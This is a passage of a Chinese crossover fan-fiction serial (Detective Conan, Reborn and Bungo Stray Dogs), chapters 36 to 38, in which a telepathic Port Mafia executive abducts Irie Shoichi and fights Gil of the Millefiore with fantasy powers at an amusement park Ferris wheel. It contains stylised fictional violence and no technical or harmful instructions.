偏偏同样从头湿到尾的松田阵平黑着一张脸,还恶人先告状,咬牙切齿地骂他:“不会游泳你还跳,等着送命吗!” 【差不多能体会到班长那时候的心情了,这自作主张的混蛋,就应该把他送回警校重新给教官训练一遍】 班长,什么班长?松田阵平的心声怎么突然扯到伊达了? 被松田阵平这么一打断,雾岛光希反而没那么生气了。他古怪地看着满脸愤怒的松田阵平,过了几秒,疑惑地问道:“我是在水里思考人生,又没让您跳下来。” “嚯~”松田阵平眯起眼,“那我把你按回去你要不要啊。” 雾岛光希盯着面前的松田阵平,沉默几秒后: “不可能。” 松田阵平:“什么不可能。” 雾岛光希懒得解释那么多。 他蹚着水从松田阵平身边走过,湿润的唇瓣张合。 “……” 松田阵平没听清,站在原地,没好气地回过头去看他:“什么?” 雾岛光希面无表情,脚步没有丝毫停留:“我说谢谢你。” 松田阵平注视着他的身形。 【作为警察没点干劲,话也少得可以,难得让他说两句,十句里有八句都是不爱听的】 从松田阵平这个角度,只能看到雾岛光希被打湿的外套勾勒出来的背影,以及他那轮廓优越,却因为忍受不了再重复第三遍“谢谢”这两个字而略显不满的侧脸。 雾岛光希这人本身就长得漂亮,他的长睫因脚下的溪水而微微湿润,配上那副带了点屈辱的神态,倒是别有一番风味。 可惜松田阵平又不是高桥一那种变态,没这方面的兴趣。 松田阵平只是将目光从他脸上移开,不动声色地瞥了眼雾岛光希背后,浮在水面上的发丝。 ——那个木乃伊打扮的是小雾岛。 ——你怎么知道? 万圣节活动的时候,吸血鬼打扮的萩原研二曾经撑着脸,盯着角落里默默无闻的木乃伊,忽的笑出声。 那时他们才刚毕业,萩原研二刚刚评上爆/炸物处理班的队长,前途一片光明。 听到狼人打扮的松田阵平的话,萩原研二神秘地眨下眼,在木乃伊看过来的时候靠近松田阵平的耳边。 ——因为是直觉。 萩原研二的笑容肆意,在松田阵平的面前,毫不避讳地说。 ——小阵平,我们公平竞争怎么样? 松田阵平注视着着荡漾着涟漪的水面。 【哪有什么直觉,明明是那家伙因为总是能坦荡地看着他】 染剂因为遇水化开了一些,漂浮在水面上的发梢,浮现出初雪般的银色。 35-40 第36章 琴酒没开听筒。 伏特加咳嗽着咳嗽着,差点把肺咳出来。 琴酒沉默了一会,倒是冷静:“谁说的?” 贝尔摩德:“阿莱西奥。” 琴酒:“你怎么和他混在一起。” 贝尔摩德:“他似乎在找人,打扮得像只跳跳虎。” 琴酒:“……” 跳跳虎这个词涉及了琴酒的知识盲区。 “听说他前几天又受了伤。”贝尔摩德若有所思,“会不会刚好伤到脑袋,正好负负得正,变成正常人了。” 琴酒懒得理她:“他本来也不是什么正常人。贝尔摩德,把心思放在找到库拉索上。” “阿拉。”贝尔摩德口吻轻挑,“你怎么不否认,还是说你真弄了个——” 琴酒直接挂断了电话。 库拉索发给朗姆的邮件上带了基尔和波本的名字,尽管不是完整的卧底名单,理论上不能完全确认那两个家伙就是卧底的可能,但琴酒踩死老鼠的心蠢蠢欲动,正寻思着将波本和基尔抓到这里来,让他们玩谁先供认出对方的游戏。 但阿莱西奥去游乐园找人做什么? 琴酒拧起眉,过于审慎的性格令他对阿莱西奥这一反常的举动进行了反复的评估,最终将带了些阴冷的目光投到一旁刚从剧烈的咳嗽中缓过来的伏特加身上。 “你去那边跟着贝尔摩德。”琴酒道,“如果阿莱西奥要插手库拉索的事,就直接把他杀了。” “……”伏特加这下不咳嗽了。 他一口气没喘上来,差点就把[诶?我吗?我把他杀了吗?]说出口。 明面上是肯定打不过的,要他去杀了阿莱西奥,只能装作哥俩好的样子,诡计多端地让对方过来,说要给他看个好东西,然后往人家心上捅一刀了吧。 “那要是阿莱西奥……”伏特加想象了一下那个画面,欲言又止,“要是阿莱西奥拿贝尔摩德刚才说的那个孩子做挡箭牌。” 做了这么久的搭档,比起别人,琴酒对伏特加的信任至少高些——尽管这种虚无缥缈的信任风一吹多半就散了,但至少也比波本那些讨人厌的神秘主义者强。 可就算能对伏特加做出如此的评价,也不妨碍琴酒有时候觉得伏特加的脑子里装了大部分日本海的水,俗称脑进水。 琴酒这几年忙着把叛徒踩死,哪有时间做那种事。就算他有时间做那种事,找的也是组织内部的人员,或者是柔弱得用完就可以杀掉的家伙,他有没有留下所谓的人造生命,他自己还能不知道? 但阿莱西奥不会造谣。 只能是他误解了什么,或者是那个聒噪的金发的家伙又在阿莱西奥面前编排了什么。 以防万一,在盯着伏特加看了足足半分钟后,琴酒咬着的烟落到脚边。 他用常踩着叛徒脑袋的那只脚,碾了碾地上带着火星的烟蒂。 伏特加听到自家大哥毫无感情,一贯冰冷的嗓音。 “那就一起杀了。” “……”伏特加小声嘟囔。 说白了,大哥让他去干这事,也没把这事当回事。 真杀假杀? 哦。 伏特加领悟。 所以是假杀。让他去杀了阿莱西奥是假,看看阿莱西奥才是真的。 伏特加岂止是顿悟,简直是恍然大悟! 虽然他这个恍然大悟说出来,琴酒一定会忍无可忍地往他屁股上踹一脚- 医务室的后门通道只有工作人员授权才能进入,为了在不引人注目的情况下做好潜伏工作,雾岛光希看着自称脑袋被砸了的海野一被按在平车上,推进去做检查,提笔在医生出具的同意书上签下名字。 “海野先生说他的脑袋是被海豚砸的?” “嗯。” “在陆地上,摩天轮下面,被活着的海豚砸了?” “……嗯。” 穿着白大褂的医生神色严肃:“那看来是被砸得不清了,虽然还没做完检查,但既然出现了幻觉,想必脑部CT的结果也不会太好。” “……”这个时候是不是应该和电影一样,沉痛地回一句“请全力救治他”? 雾岛光希说不出口,他看着医生起身,联络附近的救护车,趁周围的人不注意,就这样走进了医务室里的房间。 作为铃木财团赞助的游乐园,大概是发现了每个由铃木集团赞助的地方平均每年都会发生较为严重的意外,游乐园配套的医疗设施惊人得完善,不仅有CT机,病床和生命支持装置也是一应俱全。 一间一间找显然有些浪费时间,雾岛光希左右看了看,集中精神分辨着听到的心声。 【那个混蛋竟然在我最快乐的时候和我分手!!我要把他的踹碎!让他吃不了兜着走!】 【三个人的友情太过拥挤,明明是我约的她出来玩!她竟然还带了个我不认识的电灯泡!】 【哈哈哈哈哈谁休假还要工作,哈哈哈我疯了,哈哈哈PPT做不完啊哈哈哈哈哈】 “……” 今天的大家也在努力地活着。 然而—— 【毕竟老夫也不是什么魔鬼】 意外地在这里听到熟人的心声,雾岛光希的脚步停下,在门上扣了两声后,打开了病房的门。 坐在沙发上的黑/帮打扮的男人,以及齐刷刷地面壁思过的“后街少女”三人组同时回头。 短暂的寂静过后,犬金氏咬着烟,他站起身,率先打了个招呼:“喔!这不是雾岛氏吗,你的手下说你出事了,上次特地来我们这了一趟,最近身体怎么样?” 小小的一个游乐园,到底聚集了多少犯罪分子。 没等雾岛光希回答,犬金氏转而看向一旁对夺回尊严抱有期待的三人组,“喂,还有五个小时就要表演了,恋爱的结拜酒~快点,是不想唱了吗。” 【这可是把‘后街少女’名号打出去的好机会!只要她们更出名,老夫就能赚到更多的钱,顺便让她们抓紧机会推广新人】 “不,不是这样的。”黑发的双马尾少女结结巴巴地挤出一句,“组长,不对,老师,十分抱歉!” 【谁要给他唱啊!你是魔鬼吗!】 声音是女的,心声是男的。 这大概就是传说中的“尽管因为犯了错被老大送去泰国变性成为偶像出道,但我们的血液里依旧是50%的酒精和50%的硬汉!” “还好。”时隔一分钟,雾岛光希终于回答了犬金氏的第一个问题,“请问有看到橘红色头发的男人吗?” “橘红色?” “戴着眼镜,大概二十多岁。” 犬金氏还在冥思苦想,“后街少女”三人组却已经颇有默契地对视一眼。和舞台上甜美可人的样子不同,他们——不对,现在应该是她们了,露出了介于男人和女人间的颜艺表情。 山本爱理:【敌人!绝对是惹怒雾岛先生的敌人!】 金色短发的立花真理迅速反应过来,和作为队长的爱理对视一眼:【怎么办,大哥,这可是难得能作为黑/帮和雾岛先生并肩作战——不是,报恩的机会!】 扎着双马尾的杉原千佳一根手指抵在鼻梁一侧:【冷静点,我们现在变成这样,行动不太方便,说不定还会给雾岛先生添麻烦——】 “好像在最里面那个房间吧。”犬金氏灵光一现,终于想起来,“不过门口似乎有两个人看守,看着年纪轻轻的,我还以为是什么大人物。” 雾岛光希点头,简单地说了声“谢谢”后,再次走出了门,又把跳跳虎帽子戴了回去。 “三人组”忍不住探出个脑袋,深沉地凝视着雾岛光希脑袋上毛茸茸的橘色,对于雾岛光希这一行为的用意进行了黑手党方面深度的思索。 也正是这一举动,令他们察觉到了跟在雾岛光希身后不远处,戴着黑色帽子的大块头。 “犬金组也是讲究仁义的组织。” 见自己培养出来的偶像们回头凝视自己,在这一刻,犬金氏呼出一口烟,表情严肃而沉重。 “去吧,让他们看看你们作为黑/帮的决心。” 杉原千佳:【怎么现在又承认我们是黑/帮了啊!平常我们这么说都要被按在地上抽的!】 犬金氏:【最主要的还是上次网站出了问题,这次帮了雾岛氏,森阁下说不定就不用我们赔钱了】 “生气了吗~” “……”跟踪雾岛光希的伏特加猛然刹车。他墨镜后的瞳孔放大,看着面前不知道从哪里冒出来的偶像打扮的少女。 随着山本爱理的歌声,周围不知道哪来的bgm响起,紧接着,走廊上的病房门陆陆续续地打开,穿着病号服的游客们不约而同地走出来围观。 伏特加:“……” “生气了吗~生气了吗~”杉原千佳加入战斗,做了个wink的表情。 立花真理:“我说你怎么还急眼了~已经努力了但还是什么也做不到~生气了吗,生气了吗~”[1] 伏特加:“喂!你们是哪里来的——” “是后街少女!” “真的诶!前面那个大块头!你挡着路了!” “他穿的怎么和黑/帮似的!难道是小黑田组的人来报仇了?” “小黑田组?” “你个假粉丝!不知道吗!后街少女的第一次握手会上,因为有个男人握手的时候把爱理酱惹哭了,所以粉丝一拥而上,把那个男人揍进了警局!后来才发现那就是小黑田组的小黑田彻!” “这么说……!” “冲啊!为了后街少女!” 伏特加:“?” 由于走廊后面的噪音太大,虽然已经拐了个弯,但以为犬金组出了什么事的雾岛光希后退几步,刚转头就看到了一个黑漆漆的人被人群淹没,不知所措的画面。 【大哥!这游乐园有鬼啊大哥!】 好耳熟的声音。 雾岛光希想了下,没想起是谁,但立花真理在这时猛然回头,郑重其事地给他比了个大拇指。 她捏紧拳头,敲了敲自己的胸口,心声是三十岁的大叔:【好兄弟,在心中!雾岛,你安心地去吧!】 “……?” 雾岛光希不明所以,眼看来接“根本没受伤”的海野的救护车也被堵住,索性抓住机会,悄无声息地打晕了最后一间病房门口的两个守卫人员。 入江正一的病房里依旧寂静无声。 雾岛光希打开门时,橘红色头发的青年就坐在病床上,注视着窗外的树景。入江正一的身上穿着白魔咒的制服,那大概是密鲁菲奥雷的规定,毕竟是由基里奥内罗和杰索家族合并后出来的组织,原属基里奥内罗的成员被称为“黑魔咒”,穿的黑色。而原本就效忠于白兰杰索的那群人被称为“白魔咒”,就穿的白色。 “雾岛君。”入江正一的嗓音平静,微微阖眼,听见门开的动静,自然而然地将目光转过来,“我等你——” 入江正一事先准备好的台词终止于雾岛光希那包住半张脸的毛绒帽子。 【谁啊他】 【是沢田先生说他一定会帮忙,我才冒着风险,特地把他引到这的】 作为密鲁菲奥雷日本基地的指挥官,入江正一沉默。他掀开被子,走下床,将雾岛光希帽子下半捂住脸的部分解开,反复核对脑中沢田纲吉给自己的资料。 确认过后,入江正一又把雾岛光希帽子上的魔术贴贴了回去。青年平静地走回了床上,由于读了n年的工科,实在不会演戏,只能按照沢田纲吉给自己的剧本一板一眼地演。 “我等你很久了。” “如果你是想通过我威胁白兰,劝你趁早打消这个念头。” 【过不了多久,白兰的守护者,也就是六吊花之一的干部就会来找我。我要在打斗中趁机告诉雾岛有关密鲁菲奥雷的情报,这样就能既不引起白兰怀疑,又能帮助他们接触到密鲁菲奥雷的战斗方式】 入江正一沉重:“胜利属于白兰大人。” 还是入江正一:【也不知道白兰受了什么刺激要毁灭世界】 仍然是入江正一:【啊,中二病,胃好痛,我连我姐姐的拳头都怕,为什么非要干这种活】 雾岛光希:“……” 雾岛光希反手关上了门。 在入江正一强撑着不因为胃痛吐出来的注视中,雾岛光希抽出了插在右边口袋的手。 【匣兵器!匣兵器!他要用加百洛涅给他的匣兵器杀……嗯?】 小小的白色瓶子被雾岛光希放到了入江正一的被子上,上面“匹维溴铵”的字样醒目,也许是嫌脸被捂住闷得慌,雾岛光希摘下了那个滑稽的帽子。 入江正一:【……他怎么把胃药给我?】 入江正一:“你怎么……” “手臂上没有肌肉。”雾岛光希垂眸,说出了刚刚对方来扯开自己帽子时观察到的线索,“身上也没有锻炼的痕迹。你的衣服上没有口袋,唯一可以藏武器的地方就是袖子,然而你的反应很慢,连我刚刚把刀抽出来,想挑断你的手筋都没发现。” 入江正一:“……” 雾岛光希:“你不是战斗人员。” 雾岛光希:“沢田纲吉派你把我引到这里?” 入江正一:“。” 窗外的一片叶子落下,出师未捷身份先暴露的入江正一瞪圆了眼睛,瞳孔地震—— 作者有话说:[1]动漫《后街少女》的歌,有点神经哈哈哈哈哈哈 第37章 入江正一的心情有点沉痛。他完全不知道自己是怎么暴露的,猛然一听到这话,又开始思考白兰是不是也早就知道自己和沢田纲吉组成了统一战线,之所以担任日本这边的总指挥,单纯是为了给彭格列传递情报,好让彭格列他们最终打败白兰。 【可能吗】 入江正一思索。 【倘若白兰知道我早就倒戈,可能今早还笑眯眯地打视频电话给我,问‘如果见到纲吉君记得替我向他问好,我可是可期待和他的谈判的’吗】 【……】 入江正一的大脑放空片刻。 【可能啊!完全就像是他会做出来的事啊!】 【但不这么做的话就没有胜算,白兰利用玛雷指环将平行世界联结的能力,把彭格列他们的招数都研究透了,就算有着彭格列指环,彭格列也不存在能战胜白兰的可能】 雾岛光希提取到了关键信息。 一,密鲁菲奥雷和彭格列即将举行谈判。 二,白兰杰索有与平行世界联结的能力,如果这是真的,那这就跟可以无限存档的游戏一样,别说沢田纲吉,所有人都不存在战胜白兰杰索的可能。 那沢田纲吉在这关键时期回来探亲做什么? 雾岛光希沉默,总觉得以现在的情报推测,似乎向密鲁菲奥雷倒戈是个更明智的选择。 “我怎么可能和彭格列的首领认识。”尽管底气有些不足,但为了接下来的行动,入江正一依旧选择了嘴硬,“雾岛君,你还是趁早放弃抵抗为好,你是白兰大人实现伟大事业必备的一环,现在放弃抵抗说不定还能留你一命。” 【他听得懂的吧?雾岛一定能听懂我的意思的吧?Ghost从白兰大人那溜走后就下落不明,为了找到他,白兰大人打算用雾岛先生作为诱饵,趁复仇者来日本时将ghost引出来,暂时放在复仇者监狱里】 雾岛光希:“……” 雾岛光希:“哦。” 雾岛光希没有在这里和他耗费时间的意思,他把那个滑稽的帽子扣在了入江正一的脑袋上,而后者甚至还没来得及反应,就感到自己自己的双手被什么装置卡住。 雾岛光希:“你要自己走?” 入江正一:【那岂不就穿帮了】 入江正一正色:“我是不会跟你回港口黑手党的。就算我不是战斗人员,也不会轻易——” ——然后就被扛在了肩上。 入江正一面无表情,被雾岛光希扛着从医务室里出去的时候,淡然地发现这么多游客,竟然没一个管自己,全去干什么“见义勇为”“自己的偶像我们自己守护!”的事了。 “雾岛干部。” 好不容易摆脱穿白大褂的医生,穿着维熊人偶服的海野一从人群里钻出来。 “要不我来吧?” “不用了。”雾岛光希道,“你去开车。” 在心里默念着【我扛不动,我扛不动】,听到这句话的海野一松了口气,立即马不停蹄地往停车场跑。 而被人扛在肩膀上的入江正一心如死灰:“你就不能再等五分钟吗。” 【再等五分钟吉尔就到了,那家伙为了抓住雾岛向白兰邀功,一定会竭尽全力地使出全部手段,透露出很多有用的信息】 “入江君。”雾岛光希平静地回答,“其实我不是战斗狂。暗杀另当别论,打架很累的,我不喜欢。” 入江正一:“。” 入江正一神色古怪,心想那你可没多少喜欢的时候了。 【一天找不到ghost,白兰就一天不会放弃抓你回去】 那他自己怎么不来日本。 雾岛光希这么想着,抬眼看向站在游乐园城堡里最上方的男人。 金色的遮眼长发,头顶上戴着个王冠,身边还跟了个穿着黑色执事服的光头。 他的手上戴着红色的玛雷指环,那是白兰杰索守护者的象征。青年的视线跨越人群,与雾岛光希的目光交汇的一瞬,唇角不断地扩大,再扩大,露出白花花的牙齿,以及那和贝尔菲戈尔有几分相似的病态笑容。 吉尔菲戈尔,原本欧洲王室的正统继承人,幼年却被他那现在被称为“开膛王子”的弟弟,贝尔菲戈尔,残忍地划开了肚子,埋进鲜血染红的土里。 他本来已经在三途川的河底沉寂了很久,却被白兰杰索带回了世间。 雾岛光希懒得感慨白兰杰索能令人死而复生的神奇之处。 他只觉得烦人- 江户川柯南这边也十分忙碌。少年侦探团的孩子们和那位失忆的女性一起玩耍的时候,忽然从后者的嘴里听到“司陶特”“威士莲”之类的话,江户川柯南这才反应过来,这位“失忆的女性”,不是别人,正是窃取了公安卧底名单的组织成员。 由柑橘皮酿造而成的酒,朗姆的得力下属——库拉索。 利用对方的手机,拜托阿笠博士伪造了库拉索坠海前还未编辑完成的信息,将“波本和基尔是清白的”发给既定的联系人,以此救下被琴酒怀疑的波本和基尔后,江户川柯南又马不停蹄地往水族馆跑去。那里的摩天轮晚上将要表演灯光秀,公安似乎认为让库拉索待在摩天轮的最顶端,利用不同颜色的灯光,能刺激库拉索的大脑,令他恢复记忆。 但问题也有一个。 组织发现了公安的意图,他们在摩天轮的轴体上安装了炸/弹,在察觉到本来应该在摩天轮的厢体里乖乖等待营救的库拉索逃跑后,似乎是打算将库拉索连同整个摩天轮炸死。 “风见叔叔!” 江户川柯南的脸上带着从摩天轮的厢体里摔下来的擦伤,他摇晃着被库拉索打晕后昏迷不醒的风见裕也,眼看组织的直升机就要往这里扫射。 【可恶!这样下去就只能——】 身体陡然一轻,江户川柯南双脚离地,他的目光微微凝滞,下一秒只感觉有人带着自己,十分轻盈地从平台上跳下,最后踩在下一层的栏杆上。 “都说虎毒不食子。” 雾岛光希一手捞着风见裕也,一手单手抱着江户川柯南,目光平淡地远处高空中的直升机扫过。 “gin还挺毒的。” 【?】 江户川柯南压根没听懂对方在说什么。 他眼睛一低,看到离栏杆十几米高的地面,心里沉默了一瞬,这才抬起头看向抱着自己的人。 头发是银色的,长度到腰的位置,薄薄的眼皮下浓密的睫毛纤长,眼睛明明是雾蒙蒙的灰,看上去却并不暗淡。 “雾岛警官!”江户川柯南脱口而出,“要阻止那架直升机攻击轴体!” 雾岛光希将江户川柯南放下,听到这话头也不回,在风见裕也身上搜索着什么。 “不认识。”雾岛光希说。 江户川柯南语气焦急:“如果摩天轮被打下来,会压到旁边水族馆还有广场上等待灯光秀的游客,会有很多人因此死掉的!” 雾岛光希抬手,终于从风见裕也的口袋里摸出自己之前被没收的那个蓝色的匣子。 “雾岛警官!”江户川柯南又喊了一声。 雾岛光希将蓝色的匣子放进口袋,撑着膝盖站起身,低下头看他:“你怎么知道是我?” 【以前在公园的时候,有个穿着警校训练服的人在安慰哭着的小兰,他就站在旁边】 “四年前我见过你。”江户川柯南严肃,没把自己作为[工藤新一]时的事说出来,“在新闻上。” ……什么情况? 江户川柯南心声里的警校训练服,大致是指的七年前雾岛光希被迫去警校学习的事。但那都七年前了,江户川柯南不是今年才七岁?人总不能记得在妈妈肚子里的事吧? 雾岛光希皱了下眉,没来得及对这件事深究。 “就算是这样……” 雾岛光希的目光流转,心平气和地看向台阶上不紧不慢地从阴影里走出来的男人。 “我现在自己也忙着呢。” 吉尔菲戈尔随身携带王座,以他以前的风格,一般都是坐在漂浮的王座里,睥睨着蝼蚁般的“平民们”,指挥他的匣兵器战斗的。 然而他的王座——他打算之后去瓦里安,吓那些恶习难改的暴力集团的王座,两小时前被雾岛光希炸掉了。 “哈哈哈。”吉尔菲戈尔张狂地笑道,“雾岛,你现在的脸色还真是难看啊!” 【这又是谁?】 江户川柯南下意识地分析起了面前疑似反派的陌生人。 【正常的成年男性是不会在头上戴着王冠,还披着红披风,在不是万圣节的日子出门的吧?】 “……”雾岛光希瞥了眼还没自己膝盖高的江户川柯南,对他的推理颇感赞同。 烦人的中二病。连入江正一被海野带走了都不管,入江不是他的同伴吗? 不过雾岛光希现在总算知道森鸥外为什么会把海野扔给他了。 海野一那人,虽然细胳膊细腿的,没什么力气,但异能力是把他和他所接触到的生物的存在感降为零,此时正拿着不知道哪来的砍刀,和吉尔的管家打所谓的迂回战。 骗骗吉尔的管家可以,然而吉尔的匣兵器是蝙蝠,似乎就算降低了存在感也会被发现。 “知道这是什么吗!”丝毫不受雾岛光希不理自己的影响,吉尔抬手,给他展示了下自己戴在中指上的戒指。 雾岛光希故意:“不知道。” 吉尔:“是白兰大人给我的玛雷指环!” 雾岛光希:“他亲自给你的?” 吉尔愣了下:“那倒……” 雾岛光希:“我听说入江君的戒指是他亲自给入江君的。所以,按照排位关系,白兰比起你更看重现在失踪的入江君吧。” 吉尔:“……” 【胡说八道!】 吉尔脸上的笑容变得狰狞,他一抬手,几只红色的蝙蝠就从背后飞出。 “少废话!”他提高音调道,“喂,快把你的匣兵器拿出来!” 雾岛光希琢磨了一下。 先不提前不久入江正一的态度,光从吉尔的这句话看,似乎所有人都默认他应该在处理自己母亲的那起事件后学会使用火炎。 雾岛光希:“没有那种东西。” 吉尔阴沉着脸:“你竟敢瞧不起我。” 雾岛光希:“……” 雾岛光希转头对江户川柯南道:“我上来的时候似乎看到了引线,他们在这里装了炸/弹?” 江户川柯南点头:“已经被安——松田警官拆除了。” “……”雾岛光希默默移回眼,稍微感慨了一句,“他们两个也在啊。” “还有伊达警官。”江户川柯南说,“伊达警官本来是在假期,和未婚妻一起来看灯光秀的,结果看到松田警官往里面跑,就一起跑进来了。” “……” “雾岛警官。” “……” “你是害怕伊达警官吗?” “……” 伊达航长得很像当初教雾岛光希马术的老师,而雾岛光希从小到大就不招马喜欢。 “不认识。”雾岛光希纠正他的话,“也不是怕他。” 他只是看到伊达航会老实一点罢了。 既然外来的炸/弹已经被拆除,那剩下的就很简单。这种重重叠叠的结构是雾岛光希最擅长战斗的场所,他的手按在墙上,在吉尔大喊着“都说了不要无视我!”让风暴蝙蝠冲过来的时候,依旧耐心地和江户川柯南说了话:“别叫我警官,我又不是什么好人。” 轰—— 逼近的风暴蝙蝠被突兀的一声爆/炸阻挡,爆/炸的飓风扬起了烟尘,彻底遮蔽了吉尔菲戈尔的视野。 在江户川柯南扩大的瞳孔里,雾岛光希的身影出现在吉尔的后背,手/枪的内部零件随着扳机的扣下而转动,而就在江户川柯南以为那个中二病男人要被杀掉的时候,雾岛光希的动作却像被定格了一样。 粘稠的血液从他那双灰色的眼睛里流了出来,雾岛光希一动不动,将喉咙里的血腥味咽下去,就着这不到一米的距离,凝视着缓缓转过身的吉尔菲戈尔。 【他的所有招数,白兰大人早就在平行世界里破解,告诉密鲁菲奥雷的每一个人了】 吉尔得意地想到。 【蝙蝠以反射超声波定位,而我的风暴蝙蝠放射的可不是声波,而是肉眼看不见的岚之火炎。简而言之!所有被放射到的生物,都将因为岚的‘破坏’属性而爆裂死亡!】 “实话告诉你吧,阿莱西奥。” 吉尔菲戈尔不紧不慢地走到雾岛光希面前。 “我们根本没想着与彭格列谈判,从沢田纲吉毁掉彭格列指环的那一刻起,白兰大人就没想让彭格列的人活下来。” 【缄默法则——那是什么东西!】 【白兰大人和复仇者监狱做了交易后,他们当然是对我们的计划睁一只眼闭一只眼】 “都说了不要把我默认成彭格列的人。”雾岛光希抬手蹭掉脸上的血迹说。 “你是一个目标。” 吉尔双手环胸,故作为难地想了想 “还有一个目标,白兰大人本来是让我悄无声息地杀掉,好在彭格列谈判失败的时候给他一个惊喜的。” “沢田纲吉看到他的脑袋,一定会露出令白兰大人惊喜的表情。” 风暴蝙蝠还在飞舞着。 所有的一切变成了被拉长的慢镜头,雾岛光希低下眼睛,他的呼吸很重,风将他耳边的银发吹开一些,露出黑色的耳机。 “情报我这边差不多都收到了。” 远在横滨的森鸥外笑道。 在彭格列和密鲁菲奥雷间,森鸥外的确一开始更倾向于密鲁菲奥雷。但白兰杰索既然能大张旗鼓地,让他的部下不顾及普通人战斗,那就说明白兰的真实目的并不是扩张,而是毁灭。 彭格列倒下后,下一个又是谁呢。 森鸥外的手指有一搭没一搭地点着桌面,轻描淡写:“光希君,不把攻击十倍奉还回去,可是有损港口黑手党的名声。” 名声? ——本来想尽快解决他们的,你也是中也的朋友? ——啊啊啊,雾岛干部,我不行了!这个中二病管家突然召唤出了三头大象!他打算踩死我啊啊啊! 魏尔伦曾经的声音和耳机另一个频道里海野的声音交织在一起,令雾岛光希的脑袋一阵一阵得发疼。 哦,对。 是森先生做出了决定的意思。 “过来。”雾岛光希的嗓音冷冽,对着耳机那头的海野命令道。 他一开口,海野一就急匆匆地撞开了一楼的门,连拖带拽地拉着入江正一,由于维持存在感的异能在长时间的体力劳动后变得不稳定,身影有一瞬间暴露了一瞬。 [巨雨象]在吉尔的管家的操作下,重重地抬腿往下踩,可撑在地面上的两条后腿却陷进地面。整个摩天轮被黑色包裹,形成了一个巨大的,荒诞的,如月全食般的球体。 咔哒,咔哒。 球体的内部,江户川柯南一抬头,就能看见被最顶端的黑色上悬挂的巨大闹钟。 海野一屏住了呼吸,他机械般地从巨雨象的阴影里挪出,看到在四楼平台边站着的雾岛光希。 “和魏尔伦打了这么久,我也不是一点也没有进步的。” 随着雾岛光希的声音落下,吉尔的手脚一凉。麻木感之后,接踵而来的是身体深处刀割般的疼痛。 他清晰地感到自己的某个内脏消失了,他想要呕吐,想要尖叫,可痛苦地佝偻下身体时,从嘴巴里钻出的却不是血,而是成百上千的蓝色蝴蝶。 整个摩天轮变成了雾岛光希亲手制造的炸/弹,而里面的所有人,所有事物,都变成了他可以操纵的零件。 “真可怜。” 雾岛光希说着,由于异能超负荷的运转,血却一点一滴地从眼眶里涌出。 【不可能】 “既然白兰知道我所有的招数,那他就应该知道事情总会发展成这样。所以,他只是派你来试探我,看看我是不是和其他平行世界一样,不会使用火炎而已吧。” 【不可能!!】 青年的背影浓稠如墨,眼睛里的血一落到地上,入江正一便如惊醒般清醒过来。 “你真的是六吊花?” 雾岛光希轻笑一声,在吉尔的心声中,把玩着手里的匣兵器,明明指尖燃着蓝色火炎,匣子却没有打开的迹象。 “我知道ghost在哪。” 雾岛光希的声音穿过吉尔身上的收音装置,准确地传达到意大利里,百无聊赖地玩着手里棉花糖的白兰杰索耳中。 “想要ghost,就让白兰杰索自己来见我。” 似乎是为了令白兰杰索听得更清楚,雾岛光希特地用了意大利语。尽管已经很多年没再说过自己原本的语言,可他的话语流畅,发音和咬字完美而漂亮。 白色的棉花糖被捏扁了。 雾岛光希知道白兰杰索在听。 过了一会,江户川柯南听到那个戴着王冠的人身上传出另一个声音。 甜腻的,像沁着毒汁的腐烂的樱桃。 “光希君。”白兰杰索丝毫没有帮助自己的弃子的意思,只是说,“我还是喜欢你话少的时候。” 雾岛光希不以为然:“你喜不喜欢关我什么事。” “我会像以前一样,打断你的骨头。” “如果那是必要的过程,我倒是无所谓。” “为什么非要走到这一步呢?你和[ghost]是朋友,ghost就是另一个世界的另一个我,这么说来,那我和你岂不也是朋友?” 在花园里奔跑的孩子停了下来,他一个转身,脸上生动的表情便逐渐消失,最后变成了现在的雾岛光希的模样。 想要成长。 想要成为部下能信任的存在。 他不能,也不想再做胆小鬼。 “朋友?” 雾岛光希重复了一遍这个词。 很多人都和他说过这个词,只有从白兰杰索嘴里冒出来,是雾岛光希觉得最讽刺的。 “将我锁在房间里,一遍又一遍地和我重复这个词,剥夺我的精神,要将我变成他的同类——你把这称为[朋友]?” 江户川柯南其实能听懂一部分意大利语。 操纵巨雨象的管家,手刚抬起,手背就被雾岛光希踩住。 【吉尔大人——】 “你也是这么对待基里奥内罗的首领的?” 江户川柯南听到雾岛光希这么说。 “基里奥内罗的首领才不到十四岁,你在她身上做了同样的事,让她把整个家族对你拱手相让?” 青年的眼皮轻抬,明明身上都是血,这个时候倒是惊人得漂亮。 “奉首领之命,从今天开始,针对港口黑手党的攻击,必将十倍奉还。” “被打碎骨头也好,做着麻烦的事,战斗到最后一刻死去也好,所有胆敢踏入我们生意场所的敌人,都将被野犬啃食殆尽。 黑手党的起源是保护自己领土里的居民。 “驱使着骗来的部下,靠欺负小孩的手段扩展自己的势力……” 白兰杰索听见他笑了声,喉咙里发出声短促的气音。 “哈。”雾岛光希道,话不知是对藏起来的ghost说的,还是对白兰杰索说的。 “苟延残喘。” “跟老鼠一样。”—— 作者有话说:*晚安~ *明天又是24h值班,更新可能会玩一丢丢[奶茶] 第38章 黑色的球体挡住了来自直升机的扫射,基安蒂张狂的笑容停下,她眯起眼,还没来得及分辨这到底是什么东西,这浓稠的黑色就从顶部开始逐渐崩塌,紧接着,狂烈的风将那人的银发吹起一个凌厉的弧度,月光将他缓缓转过来的侧脸映亮,露出那双灰蒙蒙的眼睛。 鲜红的颜色卧在他的下眼眶,倒是刺得人眼球生疼。 雾岛光希就这么隔着十几米的距离,和基安蒂对视了一会,忽然感觉衣角被拉了拉。他顺着这个力道低头,发觉江户川柯南躲在自己的腿后,正仰着脸看自己。 “为什么大象和蝙蝠会跑到这里?” ……哦。 忘了他了。 “因为他们是驯兽师。”雾岛光希没有底气地说。 “那那个黑色的球体呢?” “是魔术。” “我看到他们从嘴里吐出了蝴蝶。” “……都说了是魔术了。” 说到最后,雾岛光希的语气反而自然了不少。他似乎是经常用些类似的理由搪塞与江户川柯南同龄的存在,应付起来得心应手的,一副江户川柯南不信也没所谓的态度。 然而江户川柯南并不是真的小孩,也不是第一次见到这个模样的雾岛光希。 第一次是在他小时候。 公园里的水哗啦啦得流,还是小不点的工藤新一被踢球踢断了水管溅了一身水,由于把小兰吓了一跳,工藤新一显得手足无措,一抬头才发现,一个穿着警服的中长发男人抬手按住了小兰的脑袋,笑着弯腰和他说“不可以把自己的女孩弄哭哦”。 那才是江户川柯南第一次见到雾岛光希,也是他第一次见到萩原研二。 